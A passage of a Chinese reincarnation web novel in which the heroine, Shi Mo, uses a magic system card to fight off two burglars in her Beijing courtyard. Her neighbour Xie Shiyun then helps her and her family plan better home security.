“没人。”瘦高个环顾一圈,压低声音嗤笑,“我说了吧,一个小姑娘,肯定早睡死了。” “这院儿不错啊。”矮冬瓜垫着脚打量着四周,目光落在黄花梨板子上,眼睛瞬间亮了,“卧槽,你看看这几块板子,这纹理,这油性,刘哥说得没错,真是海南黄花梨!还是独板!这几块板子,拿到黑市上至少能卖几千块!顶咱们哥俩干一年的!” “少废话,赶紧装麻袋里!”领头的瘦高个踹了他一脚,眼神警惕地扫着正屋的木门,弯腰去搬那几块黄花梨板子,“快点装,装完赶紧走,别节外生枝。” “急什么?”矮冬瓜撇了撇嘴,脚却没动,眼珠子滴溜溜地转,扫过院子里的老红松大梁,又落在正屋的雕花木门上,眼神里的贪婪藏都藏不住,“哥,你看这院子,青砖铺地,影壁都是老砖雕的,这小姑娘绝对不是普通人。黄花梨都随便放院里,那屋里指不定有什么金贵玩意儿呢?咱们顺道进去看看?大件搬不了,拿点小摆件、金银首饰,揣兜里就能走,不也白赚一笔?” “别他妈惹事!万一那小姑娘醒了,动静闹大了,胡同里的人都醒了,咱们跑都跑不了!”瘦高个皱着眉低喝,手里的动作却慢了下来,显然也动了心。 “醒了又怎样?”矮冬瓜嗤笑一声,拍了拍腰里别着的匕首,“一个丫头片子,就算醒了,咱们还能怕她?你等着,我进去看看,两分钟就出来。” 他说着,蹑手蹑脚地走到正屋门前,掏出一根细铁丝,往锁眼里捅了两下,又是一声轻响,门锁直接被捅开了。 时墨藏在暗处看着,手指攥紧了电击器。 矮冬瓜推门进去,借着月光往里一看,瞬间倒吸一口凉气,压抑不住的惊呼从嗓子眼里挤出来:“卧槽!哥!快过来!你进来看看!我的天!发财了!” 瘦高个骂了一句,还是快步走了过去,往屋里一看,直接愣在了原地——正屋里摆着成套的老红木家具,博古架上整整齐齐摆着青花瓷器、铜香炉,墙上还挂着装裱好的字画,件件看着都透着贵气,看着都感觉价值不菲。 “这……这他妈是个宝库啊!”瘦高个眼睛都红了,呼吸瞬间粗了起来,脚步不受控制地往里走,“这小姑娘到底是什么来头?这么多宝贝?!” “管她什么来头!”矮冬瓜已经扑到了博古架前,伸手就要去拿那个汝窑小洗,“大件搬不走,小件的揣兜里就能走!这一个小瓶子,就能卖几百块!能拿多少拿多少!这一趟,咱们哥俩下半辈子都不愁了!” “快点撞,动作轻点别可坏了宝贝!” “知道知道。” 两人彻底被满屋子的宝贝迷了眼,翻箱倒柜的声音叮叮咣咣响起来,说话的声音也忘了压,满脑子都是发财的念头。 【宿主!他们进去了!】系统急得不行,【警察还有五分钟!您千万别冲动啊!再等等!】 时墨没动,她在等。 等他们翻得最起劲、警惕性最低的时候。 屋里传来“哐当”一声,是矮冬瓜碰倒了博古架上的铜炉,紧接着就是瘦高个的骂声:“你他妈小心点!刚提醒你了,这玩应儿摔坏就不值钱了!” “哥,这还有个小匣子,还锁着呢,里面肯定有值钱的东西!” “砸开!” 时墨听见金属碰撞的声音,眼神一凛,知道不能再等了。她深吸一口气,在心里说:【系统,商城有没有能快速制敌的东西?立刻见效的!】 【啊?!宿主您要干什么?!】 【快点!别废话!】 系统不敢耽搁,虚拟面板在时墨眼前飞速滚动:【强效麻醉针:五百能量币,需要精准命中要害;特种兵格斗技能卡:有效时间二十分钟,一万能量币;李先生三分钟身手体验卡:一千能量币,三分钟内获得巅峰格斗能力、反应速度和力量!】 【就这个一千能量币的!立刻兑换!】 【等等!宿主!不建议选这个体验卡!】系统连忙补充,劝阻道【这个体验卡有严重后遗症!体验结束后,会根据使用者的身体素质,出现不同程度的肌无力!最短也要恢复半天!严重的话可能好几天都动不了!您用完之后,万一警察没及时到,或者还有别的同伙,您连站都站不住,太危险了!】 【别废话!兑换!现在就激活!】时墨的语气没有半分犹豫。 【……兑换成功!李先生三分钟身手体验卡已激活!倒计时:3分00秒!】 刹那间,一股滚烫的热流从胸口猛地涌向四肢百骸,时墨感觉浑身的血液都在燃烧,原本因为紧张而紧绷的肌肉,瞬间变得灵活而充满爆发力,感官被无限放大。 她能清晰地听到屋里两个小偷急促的呼吸声、心脏狂跳的声音,甚至能听到他们手指划过瓷器表面的细微摩擦声。 原本沉重的顶门棍,此刻在手里轻得像根羽毛,浑身的血液都在燃烧,仿佛任督二脉被瞬间打通,别说两个小混混,就是再来两个,她也有十足的把握,在一分钟内全部放倒。 她站起身,像一只蓄势待发的豹子,悄无声息地从木料堆后面走了出来,站在了正屋大开的门口。 两个贼背对着她,正蹲在地上翻一个樟木箱子,旁边散落着几件摆件,还有她那个上了锁的小匣子,已经被撬开了。 “喂。”时墨站在门口,声音不大。 但在寂静的夜晚,这声音却像鬼一样响起。 两个男人同时僵住,猛地回头。 昏黄的月光下,一个扎着马尾辫的姑娘站在门口,逆着光,脸上的表情看不清楚。 “你、你怎么没睡?!”瘦高个下意识往后退了一步,撞翻了身后的凳子,哐当一声响,在夜里格外刺耳。 矮冬瓜最先反应过来,看清只有时墨一个人,脸上的惊慌瞬间变成了不屑,甚至露出了猥琐的笑:“哟,醒了?醒了正好,省得我们还得翻。小姑娘,识相的就自己把值钱的东西交出来,哥几个拿了就走,不伤你。不然的话,你这细皮嫩肉的,伤着了可就不好看了。” 瘦高个这会儿也反应过来,站了起来,附和道:“小姑娘长这么好看,乖乖的,我哥俩保证不伤你。” 【倒计时:两分十五秒!】 “伤我?”时墨冷笑一声,抬脚迈进了屋。 “哟呵,还挺横?”矮冬瓜笑了,站起身,拍了拍膝盖上的灰,捏着拳头就朝时墨走过来,“怎么着,还想跟哥几个动手?你一个丫头片子,我一根手指头就能——” 他话没说完,时墨动了。 没人看清她是怎么动的,只听见“砰”的一声闷响,刚才还嚣张的矮冬瓜,像个破麻袋一样直接飞了出去,重重地撞在院子里的老红松大梁上,木屑飞溅,疼得他连叫都惨叫都发不出来,蜷缩在地上,嘴里直冒酸水,半天爬不起来。 瘦高个脸色一变,抄起旁边的撬棍,红着眼就朝时墨的脑袋砸了过来,嘴里骂着:“臭丫头!给脸不要脸!老子废了你!” 时墨侧身轻松躲过,手腕一翻,精准地扣住了他的手腕,微微用力,只听“咔嚓”一声脆响,骨头断裂的声音格外清晰。 瘦高个发出一声凄厉的惨叫,撬棍“哐当”一声掉在了地上,疼得脸都白了,冷汗顺着额头往下淌。 “你他妈……”他咬着牙,另一只手掏出腰里的匕首,就朝时墨的肚子捅了过来。 时墨头都没回,抬腿一个干净利落的后踹,精准地踹在了他的丹田处,瘦高个“哇”地一声,整个人跪倒在地,胆汁都快吐出来了,手里的匕首也飞了出去。 时墨没停,上前一步,反手一个肘击砸在他的肩胛骨上,又是一声脆响,瘦高个连惨叫都变了调,彻底趴在地上,像只煮熟的虾米,动弹不得。 整个过程,不到三十秒。 两个刚才还嚣张跋扈的小偷,此刻全趴在地上,连爬都爬不起来。 瘦高个手腕脱臼,疼得满地打滚,冷汗顺着脸往下淌,看着时墨的眼神里充满了恐惧,像是见了鬼一样:“你……你到底是什么人?!” 时墨没理他,走到墙边,捡起他们带来的麻绳,就要把两人捆起来。 【倒计时:三十秒!宿主快!动作快点!体验卡马上要结束了!】系统疯狂提醒。 时墨心里一紧,加快了动作,刚把瘦高个的双手反剪在背后,捆了半圈,系统的提示音准时响起:【体验时间结束!后遗症触发!全身肌无力启动!】 话音落下的瞬间,时墨只觉得浑身的力量像是被一只无形的手,瞬间抽得一干二净。 从指尖到脚尖,全身上下都软得像煮烂的面条,手里的麻绳“啪嗒”一声掉在了地上,眼前一阵阵发黑,膝盖一弯,整个人不受控制地往青石板地上栽去。 【宿主!!!】系统尖叫起来。 时墨暗叫不好,下意识伸手去抓旁边的门框,可手指却使不上半点力气,只蹭了一下就滑开了。 完犊子了。 她闭上眼,等着摔个结实。 门外突然传来“砰”的一声巨响。 厚重的院门被人一脚踹开,门栓直接被踹断。 一道高大的身影裹挟着夜风冲了进来,速度快得像一阵风,几步就跨到了时墨身边。 预想中的疼痛没有到来。 一双有力的手臂稳稳地接住了她下坠的身体,手臂一收,一把将她抱进了怀里。 时墨的额头撞在他坚实的胸膛上,鼻尖萦绕着一股淡淡的松木香。 她费力地抬起头,撞进了一双深邃焦急的眼眸里。 是谢时昀。 此刻他只穿了件深色的毛衣,外套都没来得及披,头发被风吹得有些乱,胸膛剧烈起伏着,呼吸急促,显然是一路狂奔过来的。 他的手臂箍得很紧,一只手稳稳地揽着她的腰,另一只手托着她的后脑勺,像是怕她摔着。他额角有汗,喘气的声音又粗又重。 两个人四目相对,距离近得能感受到彼此的呼吸。 时墨尴尬地眨了眨眼。 刚才还英姿飒爽、三拳两脚放倒两个壮汉,现在却软得跟只没骨头的猫似的,瘫在人家怀里,连抬抬手的力气都没有,这也太丢人了! “你……”谢时昀先开了口,声音哑得厉害,带着掩不住的焦急和后怕,“你没事吧?有没有受伤?他们碰你哪里了?” 他的目光从她脸上扫到身上,又从身上扫回脸上,来来回回看了好几遍,生怕漏掉哪里。 时墨张了张嘴,想说自己没事,可嗓子里像是堵了棉花,只发出一声细若蚊蚋的“没事”。 声音小得连她自己都听不清。 谢时昀显然听到了,他喉结滚了滚。时墨能感觉到他的心跳,咚咚咚的,快得像擂鼓,隔着衣服都能感受到那股力道。 她试着动了动腿,可浑身的肌肉都不听使唤,软绵绵的,半点力气都使不上,只能任由谢时昀抱着,连挣扎都做不到,恨不得俩眼一闭晕过去。 谢时昀感受到了她的小动作,手臂收得更紧了些。 【宿主!我就说有后遗症吧!】系统恨铁不成钢,又带着点担心,【你怎么样?有没有哪里疼?头晕不晕?手脚还有知觉吗?】 【没事,死不了。】时墨逞强道。 谢时昀刚才在家看书,就听见对面胡同里传来一声惨叫,察觉到不对,他抓起外套就冲了过来,踹开门的瞬间,正好看见时墨往地上栽。 此刻他抱着怀里浑身发软的时墨,再看看地上两个鼻青脸肿、动弹不得的男人,还有散落一地的撬棍、麻袋,哪里还猜不到发生了什么? 谢时昀低头看着她,眉头拧得死紧。心里止不住的后怕,她一个人硬刚两个带家伙的小偷,危险程度显而易见。 “你刚才——”他顿了顿,像是不知道该怎么说。 “呜哇——呜哇——” 胡同口传来刺耳的警笛声,由远及近。 墙角被绑着的两个贼终于缓过劲来,开始哼哼唧唧地叫唤。 两个民警冲进院子,手电筒的光直直照过来。 为首的民警看见满地的狼藉——歪七扭八的木料、散落的撬棍和麻袋、被砸开的锁。又看见被捆了一只手的两个贼,一个瘫在地上哀嚎,一个鼻青脸肿地缩在墙角,明显是被揍得不轻。 而院子中间,一个男人抱着个浑身发软的小姑娘,两个人的姿势说不出的奇怪。 两个民警对视一眼,立刻上前:“不许动!都蹲下!” 谢时昀看了眼怀里连头都抬不起来的时墨,眼神沉了沉,抬起头,声音已经恢复了平时的沉稳:“警察同志,这两个人入室盗窃,已经被控制住了。我是对面住户,也是房主的朋友,听见动静赶过来的。” 民警看了看两个贼,又看向抱着人的谢时昀,再看到他怀里明显不对劲的时墨,眼神变得微妙起来。 “这位同志,你受伤了?需不需要叫救护车?” “不用。”时墨咬着牙,攒了半天力气,才说出一句完整的话,“就是……脱力了,歇会儿就好。” 两个民警对视一眼,默契地没有多问,转身去处理那两个贼。 “能站起来吗?”谢时昀低头问她,声音压得很低。 时墨试着动了动腿,软绵绵的,半点力气都没有,她咬着牙摇头。 谢时昀没说话,直接把她打横抱了起来。 时墨下意识想挣扎,结果发现自己连挣扎的力气都没有,只能任由他抱着,整个人僵得像块石头。 “别动。”谢时昀的声音从头顶传来,低低的,带着一丝不易察觉的紧绷,“我先送你去我家,给你爸妈打个电话,报个平安。” 时墨张了张嘴,想说不用,但对上他那双眼睛,到嘴边的话又咽了回去。 谢时昀抱着她往外走,步子又稳又快。时墨靠在他胸口,听见他的心跳还是很快,咚咚咚的,跟打鼓似的。他身上淡淡的松木香,混着夜晚的凉意,浮上时墨鼻尖。 就在这时,那个被踹飞的男人终于缓过了劲,抬起头对着警察喊了起来,声音里带着怨毒:“警察同志!我们不是小偷!是这个小丫头片子设套坑我们!她手里全是来路不明的古董!你们看看这屋里!她是个倒腾文物的!那些东西来路都不干净!你们要查就查她!” 这话一出,院子里瞬间安静了。 两个民警的目光不约而同地落在了正屋敞开的门上。月光照进去,能看见博古架上摆着瓷器、铜炉,角落里还有成套的老家具,样样看着都不像是普通人家该有的东西。 民警的表情严肃起来。 时墨靠在谢时昀怀里,心里咯噔一下。 那两个贼像是抓住了救命稻草,又喊了起来:“对!查她!那些东西肯定都是倒腾来的!她就是靠着这些发家的!我们就是看她东西来路不正,想替国家——” “闭嘴。”谢时昀的声音不大,却像一盆冰水泼过去,冷得刺骨。 他转过头,目光扫过那两个贼,最后落在民警身上,语气平静却不容置疑:“警察同志,我建议你们先把这两个入室盗窃、持械伤人的现行犯铐起来,带回所里慢慢审。至于我邻居的东西——” 他低头看了一眼怀里的时墨,目光温和下来:“每一件都能说清楚来路。她师傅是首都文物鉴定委员会的宋正先宋老爷子,她的东西都是正规渠道淘来的老物件。你们要是不信,明天可以请文物局的人来鉴定。” 他顿了顿,语气更淡了:“倒是这两个人,大晚上带着撬棍、麻袋翻墙入室,被我朋友抓了现行,反过来倒打一耙——警察同志,这种贼喊捉贼的,你们见得多吧?” 两个民警对视一眼,没有再说什么,转身去把两个贼铐了起来。 谢时昀抱着时墨往外走。 时墨窝在他怀里,脑子里乱哄哄的。刚才那两个人说的话,像根刺一样扎在心里。 她的东西,来路确实没问题。但这一屋子老物件,件件都值钱,要是真被盯上,三天两头有人来找麻烦,她这日子还过不过了? 谢时昀似乎感觉到了她的不安,手臂收紧了些,低声说:“别怕。有我在。” 时墨愣了一下,抬头看他。他的下巴绷得很紧,侧脸的线条在月光下格外清晰,眼神却稳定无波,像是在说一件天经地义的事。 时墨垂下眼,琢磨起后续的事。 谢时昀抱着她穿过胡同,几步就到了自家院门前。他腾不出手,抬脚轻轻踢了一下门。 门很快就开了。 开门的是谢母,穿着家居服,外面披了件外套,她看见儿子怀里抱着个人,吓了一跳:“时昀,这是——” “时墨家进了贼,她受了点惊吓。”谢时昀简短地解释了一句,抱着时墨就往里走。 “哎哟,墨墨!”谢母脸色一变,赶紧让开路,跟在后面絮絮叨叨,“伤着没有?要不要去医院?这孩子,怎么一个人住那边,多危险啊……” 时墨想说自己没事,可浑身软得跟面条似的,连抬头的力气都没有,只能含含糊糊地说了句:“阿姨,我没事……” 谢时昀把她放在客厅的沙发上,又拿了个靠垫垫在她背后。谢母已经去倒热水了,脚步声急匆匆的。 时墨靠在沙发上,浑身软绵绵的,连手指头都懒得动。她能感觉到谢时昀的目光一直落在她身上,带着一种让人说不清道不明的重量。 “打电话了吗?”她小声问。 谢时昀愣了一下,才反应过来,转身去拨家属院的电话。 时墨听见他拨号的声音,声音低沉平稳:“叔叔,我是谢时昀。时墨在我家,她没事,就是受了点惊吓……对,家里进了贼,已经被警察带走了……好,您放心。” 挂了电话,他走过来,蹲在她面前,平视着她:“你爸妈说一会儿就到。” 时墨“嗯”了一声。 谢母端着热水走过来,看见儿子蹲在沙发前的样子,脚步顿了一下,眼神微妙地闪了闪,把水杯放在茶几上:“墨墨,喝点热水暖暖。要不要吃点东西?我给你热点粥?” “不用了阿姨,谢谢您。”时墨想伸手去够杯子,手指却抖得厉害,连杯壁都碰不稳。 谢时昀看了她一眼,没说话,端起杯子,一手托着杯底,一手扶着杯身,凑到她嘴边。 时墨愣住了。 谢母也愣住了。 “慢慢喝 。”谢时昀的声音很低,像是怕惊着她似的。 时墨低下头,就着他的手喝了两口。温热的水滑过喉咙,整个人都暖和了一点。 谢母站在旁边,看看儿子,又看看时墨,嘴角弯了弯,什么都没说,转身走了。 “谢谢。”时墨小声说。 谢时昀把杯子放在桌上,没接话。 屋里安静下来,只听得见墙上挂钟滴答滴答的声音。 “你怎么会过来?”时墨忍不住问。 谢时昀沉默了一下,说:“我听见你那边有动静。” 时墨看着他。 他住对面,隔着一条胡同,大半夜的,能听见她那边有动静? 谢时昀躲开时墨审视的目光,站起身。 第67章 “我去给你拿条毯子。”谢时昀说完就转身往卧室走, 步子比平时快了不少,指尖还残留着刚才抱着她时,她身上软乎乎的触感, 心跳到现在都没完全平复。 客厅里只剩下时墨一个人, 系统立刻冒了出来。 【宿主!宿主!你还好吗?】系统带着劫后余生的庆幸, 【刚才吓死小七了!你知不知道你刚才摔下去的时候, 小七心脏都——不对,小七没有心脏,反正就是吓坏了!】 【知道了。】时墨靠在沙发上,声音还有些虚弱,【我这不是没事吗?】 【没事?你管这叫没事?】系统絮絮叨叨起来, 【你刚才跟个面条似的瘫在地上, 要不是谢时昀接着你,你脸直接就磕地上了, 有百分之五十毁容的可能性!那个体验卡的后遗症我提醒过你的!你看看你, 不听小七言,吃亏在眼前!】 【确实便宜没好货。】时墨叹了口气:【不过说真的, 三分钟绝世高手的体验是真爽啊, 我感觉身轻如燕, 浑身充满了力量, 那俩货的一举一动在我眼里全是慢动作回放似的。】 【爽吧?】系统的语气突然变得贼兮兮的, 【想不想再来一次?永久的那种?】 【什么意思?】 半透明的面板在时墨眼前展开,上面赫然写着—— 【李先生宗师级身手永久卡】 【效果:永久获得巅峰李先生的全部格斗能力、反应速度、身体协调性与实战经验】 【兑换价格:5,000, 000能量币】 【注:本商品为系统商城终身VIP专属,购买后自动解锁“武道宗师”称号】 时墨看着那一长串零,沉默了三秒钟。 【……你当我没说。】 【嘿嘿。】系统笑得幸灾乐祸, 【宿主,你还是老老实实攒能量币吧,按你现在的速度,大概……再努力攒个五十年就够了!】 【闭嘴。】 【好嘞!】 时墨没多余力气跟它计较,又问:【对了,系统商城有没有能恢复体力、精力的东西?性价比高点的,别太贵,我现在连抬手的力气都没有,等会儿我爸妈来了,看到我这个状态,他们得担心死。】 【早让你听话,你不听!】系统嘴上抱怨,还是立刻筛选起了商品,【符合您要求的商品如下——】 【初级体力恢复剂:瞬间恢复30%体力,消除肌肉疲劳,兑换价格:500能量币。副作用:轻微嗜睡。】 【中级体力恢复剂:瞬间恢复70%体力,消除脱力后遗症,修复轻微肌肉损伤,兑换价格:1500能量币。副作用:无明显副作用。】 【高级体力恢复剂:瞬间恢复100%体力,全面修复身体损伤,兑换价格:5000能量币。副作用:无。】 时墨看了看自己的能量币余额——自从上次完成盗墓案任务后,她手里攒了不少,买中级恢复剂绰绰有余。 【来个中级的。】 【好嘞!已扣除1500能量币!中级体力恢复剂已发放至系统空间!】系统顿了顿,又小心翼翼地问,【宿主,您确定现在就用?会不会跟那个体验卡的后遗症有冲突?万一药性叠加出问题……】 系统话还没说完,时墨已经打开系统空间,手里凭空多了一个小玻璃瓶,里面是淡橘色的液体。她拧开瓶盖一仰头喝了下去。 一股淡淡的橘子味液体顺着喉咙滑下去。 几乎是瞬间,一股温和的热流就从胃里散开,涌向四肢百骸。那股从骨头缝里渗出来的酸软无力感,像潮水一样慢慢退去,眼前的昏沉感也消失得无影无踪。 她试着活动了一下手指,又握了握拳,力气已经回来了七八成,连刚才打斗时抻到的肩膀,都不酸了。 【宿主!你、你这就坐起来了?不再歇一会儿,缓缓?】系统关心道,【有没有感觉到哪里不舒服?】 【没有】时墨活动了一下脖子,从沙发上坐直身子,腰杆挺得笔直,刚才那副脱力的样子荡然无存。 【那有不舒服的地方一定要跟我说!】 【嗯。】 时墨低头看了看自己的手,心里开始复盘今晚的事。 这次的事,是她大意了。 下午在拆迁工地被刘胖子盯上,她只想着赶紧把木料拉回来,却忘了对方是倒腾木料的老油子,能一眼认出黄花梨,就绝对不是善茬。 她独居在这个四合院,院里又全是值钱的老木料和古董,简直是明晃晃地告诉别人“这里有钱,快来抢”。 这段日子太顺了,捡漏、破案、拜师、进国家级古建项目,一切都顺风顺水,让她渐渐丢了刚重生时的警惕心,甚至越来越依赖系统的扫描和预警,总觉得有系统兜底,什么危险都能化解,忘了最基本的防人之心,忘了在这个年代,露财就是招祸的根源。 今天这事,给她敲了个最响的警钟。 系统再厉害,也有它的规则和限制。今天要不是谢时昀来得及时,她摔那一跤事小,那两个贼要是挣脱了束缚,后果不堪设想。 还有那些古董。虽然来路都说得清,但真要被有心人盯上,三天两头来举报、来骚扰,她这日子也别想过安生了。 【宿主?】系统察觉到她的情绪变化,声音也放软了,小心翼翼地安慰道,【你也别太自责了,谁能想到那伙人这么大胆,大晚上敢带凶器上门偷东西啊!要不要我再给你做个全身扫描?】 【不用。】时墨轻轻摇了摇头,【我在想,我最近是不是太依赖你了。】 【啊?依赖小七不好吗?】小七有点委屈,声音都蔫了,【咱俩这段时间相处不是越来越默契了吗?这还不好吗?】 【好,但过度依赖就不好了。】时墨认真地说,【如果没有你,今天我不会这么不谨慎。明知道被人盯上了,还自信地甩开了对方,大意让赵磊先走,孤身一人留在院子里,连提前报警的准备都没做。以后不能再这样了,靠山山倒,靠人人跑,只有自己手里的本事,才是最靠谱的。】 【宿主……】系统沉默了一会儿,又打起了精神,【宿主你能这么想也很好!不过你也不用否定自己啊!你是人类啊,人类不都会犯错吗?你又不是稳定不会变化的数据。我们认识这段时间以来,我觉得你已经很厉害了,你可是第一个一来就敢威胁系统、谈条件、钻系统漏洞的宿主呢!就算没有我,你也超厉害的!】 时墨嘴角弯了弯:【你这是在安慰我?】 【小七说的是实话!】 【谢谢你哦。】 【不客气!】 脚步声从门口传来,时墨立刻收敛了思绪,端端正正地坐好,把刚才喝空的小玻璃瓶揣进衣兜里。 谢时昀拿着一条厚厚的羊毛毯走了进来,看见沙发上坐起的时墨,脚步一顿。 她坐得端正,脸色虽然还有点白,但眼神清亮,精神头看起来好了不少,跟刚才那个瘫在他怀里、连杯子都端不稳的模样,简直判若两人。 “你……”他迟疑了一下,走到她面前,“好点了?” “好多了,谢谢你。”时墨抬头冲他笑了笑,活动了一下手腕,语气轻松,“可能是刚才脱力了,缓过来就好了。” 谢时昀的目光在她脸上扫了一圈,眼神里闪过一丝狐疑。他见过不少练家子,就算是常年习武的人,剧烈打斗后的脱力,没有个把小时根本缓不过来,她这才短短几分钟,就跟没事人一样了? 但他没多问,每个人都有自己的秘密,他不想让她觉得不自在。他只需要知道,她现在没事,就够了。 谢时昀没再追问,只是把手里的羊毛毯递了过去,在她对面的单人沙发上坐下,身体微微前倾,语气温和:“那就好。你爸妈应该快到了。” 时墨“嗯”了一声,伸手接过毯子,拢在了腿上。 “今天的事,麻烦你了。” “没什么麻烦的。”谢时昀迎上她的目光,喉结轻轻滚了滚,“咱们住对门,邻居之间互相照应,是应该的。” 他还是没忍住,问出了心里的疑问:“今晚那两个人,你是怎么制服的?” 时墨早就料到他会问,含糊道:“趁他们不注意,偷袭得手了。他们也没料到院子里还有人,慌了神,才被我钻了空子。” 谢时昀显然不信。 那两个贼他刚才看见了,一个手腕断了,一个肋骨骨裂,鼻青脸肿地瘫在地上,分明是被人用硬功夫实打实揍趴下的,哪里像是偷袭得手的样子?时墨赤手空拳放倒两个带凶器的壮汉,怎么想都不合理。 但他没有追问,只是点了点头,顺着她的话往下说:“不管怎么样,人没事就好。你那个院子平时空着,本来就容易招贼,这次的事就是个教训。以后晚上别一个人待在那儿,就算要收拾东西,也让你哥陪着你,再不然过来叫我。” “我知道,是我之前太大意了。”时墨点了点头,坦然接受了他的提醒,“我正琢磨着,回头把院门和屋门的锁全换了,换成最结实的保险锁,墙头顶上再拉一圈带刺的铁丝。” “你想的这个方案,能防君子,防不住小人。”谢时昀沉吟着,给她出主意,“最好再养条狗,不用太名贵的,本地的土狗就行,看家护院最机灵,一有动静就叫,比锁管用。你平时忙的事比较多,没时间喂的话,我帮你喂,反正我就在对门,几步路的事,不麻烦。” 时墨眼前一亮,点头赞同:“对,养狗是个好办法!回头我就去狗市看看,挑条机灵的。” “我这边也帮你留意着。”谢时昀嘴角微微弯了弯,看着她眼睛发亮的样子,心里也软乎乎的。 “好,谢谢了。” 谢时昀看了她一眼,斟酌着又开口道:“还有你屋里那些古董,都是值钱的物件。放在那个没人守着的院子里,太容易被人盯上了。这次来的是两个小毛贼,好打发,下次要是来更专业、更狠的角色呢?” 时墨沉默下来。 “你有什么好建议?”她看着谢时昀,眼神里带着认真的请教。 谢时昀沉吟片刻,给她出了两个方案:“第一,找正规渠道寄存。文物局有专门的保密库房,可以寄存私人藏品,费用不高,安保是国家级的,绝对安全。你师傅宋老爷子在文物系统人脉广,让他帮你打个招呼,手续很简单。” 时墨摇头:“东西太多,来回搬也不方便。” “那就第二个办法。”谢时昀料到她会这么说,又说,“把院子的安防做到位,你平时也要多跟邻居走动,互相照应。你在这一片名声不错,邻居们也都愿意帮忙。我认识一个木工老师傅,以前清宫造办处传下来的手艺,嘴特别严,能在你屋里做个隐蔽的暗格,把贵重东西藏起来,就算再有人闯进来,也找不到。” 这话正好说到了时墨的心坎里。 她之前只想着把古董收回来,却忘了80年代的民间收藏本就处在风口浪尖上,一旦被人盯上,不仅是招贼,还有可能惹来不必要的麻烦。今晚那两个贼的举报,就是最响的警钟。 谢时昀又补充道:“还有,你那些古董最好做个完整的清单,把每件东西的来历、鉴定证书、照片都整理好,万一以后有人找麻烦,你手里有凭证,不怕他们查。要是需要文物局的官方鉴定备案,我可以帮你找我父亲的学生,他现在在文物局当处长,手续能办得稳妥点。” “不用麻烦叔叔的学生了,我师傅那边就能帮我弄。”时墨心里的石头彻底落了地,看着谢时昀,眼神里的防备又散了几分,多了些真切的感激,“谢时昀,真的谢谢你。我之前光想着收东西,没考虑到这些,你这主意太及时了。” 谢时昀迎上她的目光,眼底的温柔快要溢出来,又很快被他压了下去,故作镇定道:“没事,都是小事。你要是想做暗格,我明天就带老师傅过来看看场地,设计个最稳妥的方案。” “不急这两天。” 两人正说着,院门外传来了急匆匆的脚步声,紧接着是砰砰砰的敲门声,时爱国又急又慌的声音传了进来:“小谢!开门!墨墨在里面吗?!” “来了。”谢时昀立刻起身去开门。 门一开,时爱国和李秀兰就冲了进来,时建军跟在后面,三个人脸上全是掩不住的焦急和后怕,棉袄都没扣好,显然是接到电话就一路狂奔过来的。 “墨墨!”李秀兰一眼看见坐在沙发上的女儿,三步并作两步跑过来,一把抱住她,上上下下地打量,手都在抖,“伤着没有?吓着没有?伤着哪儿了?快让妈看看!” 时爱国也凑过来,眼眶都红了:“你这孩子,出了这么大的事,怎么不早点给家里打电话?我们接到小谢的电话,魂都快吓飞了!” 时建军站在旁边,拳头攥得紧紧的,脸色铁青,咬着牙骂道:“妈的,那两个王八蛋呢?抓走了?敢动我妹!我明天就去派出所,非让他们把牢底坐穿不可!” “行了,你别跟着瞎起哄。”时爱国拍了拍他的肩膀,眉头紧锁着看向时墨,“墨墨,到底怎么回事?好端端的,怎么会招贼了?” 时墨被一家人围在中间,心里又暖又酸,不想让他们太过担心,只捡着能说的简单说了说:“我下午去拆迁工地找木料,被两个小偷盯上了,晚上他们上门想偷东西,被我发现了,喊了几声,时昀哥听见动静就过来帮忙了,警察也来得快,人已经抓走了,我一点伤都没受,你们别担心。” 即便如此,李秀兰也听得心惊肉跳,连连拍着胸口说:“我的天爷啊,吓死我了!那个院子以后不许晚上去了!白天去收拾收拾就行了,晚上必须回家里住!有什么事,叫上你哥,或者叫上你爸,不许一个人去!” “对,听你妈的。”时爱国连连点头,“以后这院子,白天去也要两个人,绝对不能孤身一人。” 时建军立刻表态:“妹,你放心,以后那个院子的事你都交给我。明天咱们就把锁换成最好的,保证谁也别想进来!” 时墨连忙安抚道:“好,都听你们的。我真没事,谢哥来得及时,那两个人刚进门就被控制住了,没闹出什么事。” 李秀兰这才稍稍放心,转头看见谢时昀站在一旁,连忙走过去,紧紧拉住他的手,语气里满是感激:“小谢,今天真是多亏了你!要不是你,我们家墨墨还不知道会怎么样呢!你就是我们家的恩人!” 时爱国也走过来,用力握住谢时昀的手,声音都有些哽咽:“小谢,大恩不言谢。以后有什么事,尽管跟叔叔开口,叔叔能帮的,绝对不含糊!” 谢时昀听出时墨把功劳都往自己身上推,也没拆穿,只是谦虚地笑了笑:“叔叔阿姨,真的不用谢,我就是听见对面有动静,过去看了一眼,没帮上什么大忙。墨墨自己也很机灵,没让那两个贼占到便宜。” “哎呀,苏老师,真是太麻烦你们了!”李秀兰看见从里屋走出来的谢母苏婉清,连忙迎上去,“大半夜的,还惊动了你们一家人,真是不好意思。” 谢母苏婉清说话温温柔柔的,拉着李秀兰的手笑道:“时墨妈妈,你跟我客气什么?都是住对门的街坊邻居,互相照应是应该的。再说了,墨墨这孩子稳重懂事,我们都喜欢,小谢照顾她也是应该的。” 她笑着,目光在时墨和谢时昀之间转了一圈,眼里带着藏不住的笑意,又补了句:“以后墨墨晚上去那边院子,就让小谢陪着,两个孩子一起,我们也放心。” 李秀兰连连点头,又转向谢时昀:“那可真是太麻烦小谢了!” “阿姨放心。”谢时昀应得很快,“我住得近,有什么事随时可以叫我。” 两家人又说了几句客气话,时爱国就起身告辞了,说要带时墨回家休息,明天再去派出所处理后续。 谢时昀立刻起身,从里屋拿出来几把崭新的铜锁,放在桌上:“叔叔阿姨,这是我之前家里换下来的保险锁,都是国营厂出的最结实的款式,还没用过。建军,你今晚先拿着,去对面把院门和屋门都换上,免得再出意外。” “哎,好,谢谢谢哥!”时建军立刻拿起锁,连连道谢。 谢时昀又看向时墨,叮嘱道:“明天早上去派出所做笔录,我陪你一起。你今晚好好休息,别的事不用操心。那些古董的鉴定证明,我会帮你处理好。” 时墨看着他,点了点头:“好,麻烦你了。” 时爱国看着谢时昀,事事都替时墨考虑得周全,眼里的感激更甚,用力拍了拍他的肩膀:“小谢,真是太谢谢你了!我们家墨墨,多亏了你照顾!” “叔叔客气了,应该的。”谢时昀笑了笑,目光温柔地落在时墨身上,“墨墨今天受了惊吓,你们带她回去好好休息,有什么事,随时给我打电话。” 谢母送他们到门口,拉着李秀兰的手说了几句客气话,又拍拍时墨的手:“墨墨,以后常来坐,别客气。” “谢谢阿姨。”时墨乖乖道谢。 